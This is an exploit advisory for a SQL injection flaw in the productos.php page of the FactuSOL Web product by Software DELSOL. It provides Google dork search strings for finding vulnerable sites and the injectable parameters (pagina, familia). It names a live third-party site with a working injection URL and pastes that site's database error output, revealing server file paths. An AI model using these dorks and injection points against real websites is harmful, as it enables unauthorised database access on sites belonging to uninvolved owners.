#################################################################################################
# Exploit Title : Creación y diseño White Solutions FactuSOL Web por Software DELSOL SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 22/06/2018
# Vendor Homepage : whitesolutions.es ~ sdelsol.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
#################################################################################################
# Google Dorks :
intext:''FactuSOL Web por Software DELSOL''
intext:''FactuSOL Web 2010''
intext:''Creación y diseño White Solutions"
# Exploit :
/PATH/productos.php?pagina=[SQL Inj]
/PATH/productos.php?pagina=[ID-NUMBER]&seccion=-1&familia=[IDNUMBER][SQL Inj]
#################################################################################################
# Example Site : prohosinco.es/intranet/productos.php?pagina=10&seccion=-1&familia=345%27 => [ Proof of Concept for SQL Inj ] => archive.is/XAddN
# Error :
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future:
use mysqli or PDO instead in /home/prohosinco/public_html/intranet/top.php on line 3
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/cmodulos.php on line 107
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/cmodulos.php on line 55
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/cmodulos.php on line 55
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/productos.php on line 272
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/productos.php on line 90
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/productos.php on line 110
Warning: mysql_result() expects parameter 1 to be resource, boolean given in /home/prohosinco/public_html/intranet/productos.php on line 424
Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home/prohosinco/public_html/intranet/productos.php on line 431
Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/prohosinco/public_html/intranet/productos.php on line 135
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################